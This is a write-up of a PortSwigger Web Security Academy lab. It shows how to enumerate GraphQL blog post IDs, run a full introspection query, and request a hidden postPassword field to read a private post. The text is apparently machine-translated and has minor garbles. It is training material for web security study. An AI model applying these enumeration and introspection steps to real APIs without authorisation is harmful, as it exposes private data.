> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/graphql/accessing-private-graphql-posts.md).

# Access to Private GraphQL Posts

Access to Private GraphQL Posts notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Accessing Private GraphQL Posts

#### Objective of the Lab

The blog page contains an article **hidden** (not listed) containing a **secret password**. To validate the lab, you must **find this private post** and then **submit the password**.

### 1) GraphQL Traffic Reconnaissance

Upon arriving on the main blog page, a GraphQL request is sent in the background (via the **Network** or **Burp** tab):

* Endpoint: `POST /GraphQL/v1`
* Operation: `getBlogSummaries`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-415a7728bbf837af962ec0a4d8d95a80b610dcbc%2F%7BEB412B60-B633-49D1-86BA-53EC78F6A3F7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Example of intercepted request:

{% code overflow="wrap" expandable="true" %}

```graphql
{
  "query": "/nquery getBlogSummaries {/n    getAllBlogPosts {/n        image/n        title/n        summary/n        id/n    }/n}",
  "operationName": "getBlogSummaries"
}
```

{% endcode %}

This query returns visible posts and their `id`. It is noted that the list contains pages/posts **1, 2, 4 and 5**, but that **failure to do so 3** → very good indicator of a post **private / hidden**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b86e44b25b417c4568797e39943c06f0e51db71%2F%7B0E2CA78B-2D08-49FF-B002-E2652D6856CF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 2) Recovery of a Post by ID

When you open an article, the application sends another query that retrieves the complete content from the ID:

```graphql
{
  "query": "/n    query getBlogPost($id: Int!) {/n        getBlogPost(id: $id) {/n            image/n            title/n            author/n            date/n            paragraphs/n        }/n    }",
  "operationName": "getBlogPost",
  "variables": {
    "id": 2
  }
}
```

This confirms that we can **enumerate** posts by modifying `variables.id`.

#### 3) Introspection to Discover the Diagram

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cbba38edd02952f9481352e8c3527aa183af8a02%2F%7B558A8362-702C-42E2-8F59-9D0688737640%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

To see all available properties, we use the**Introspection Query** (e.g. via **InQL**, **GraphQL tab**, or a standard payload):

```graphql
query IntrospectionQuery {
    __schema {
        queryType {
            name
        }
        mutationType {
            name
        }
        subscriptionType {
            name
        }
        types {
            ...FullType
        }
        directives {
            name
            description
            locations
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    kind
    name
    description
    fields(includeDeprecated: true) {
        name
        description
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    name
    description
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    name
    ofType {
        kind
        name
        ofType {
            kind
            name
            ofType {
                kind
                name
            }
        }
    }
}gra
```

Answer: **200 OK**, very large (over 1000 lines).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-edd28bbe614a3c2fef2f17c125b15a087eb80185%2F%7B3A6E2487-642B-428F-99DF-CD12076F0C86%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

The analysis reveals an interesting field: **`postPassword`**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-596fb335b964274cae8ace56fbbdd25a7ce6b5bf%2F%7B7419BEF8-C00F-4996-BB47-E5349B5C3D35%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### (4) Extraction of Hidden Post (ID 3)

Reboot `getBlogPost` by adding the `postPassword` field, then target the missing ID (**3**):

```graphql
    query getBlogPost($id: Int!) {
        getBlogPost(id: $id) {
            image
            title
            author
            date
            paragraphs
            postPassword
        }
    }
```

Variables :

```json
{
    "id":3
}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d69a26eee6bfb12a11e4d72a5d631d7567c23606%2F%7B016514D7-BD55-4469-B1C8-9136E8E8CBEC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Result: the answer contains the value of **`postPassword`** → c

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-daa45487548033d22c809695befd1cd5b079c8ee%2F%7B13372169-4EF1-400C-8588-57AF325394FB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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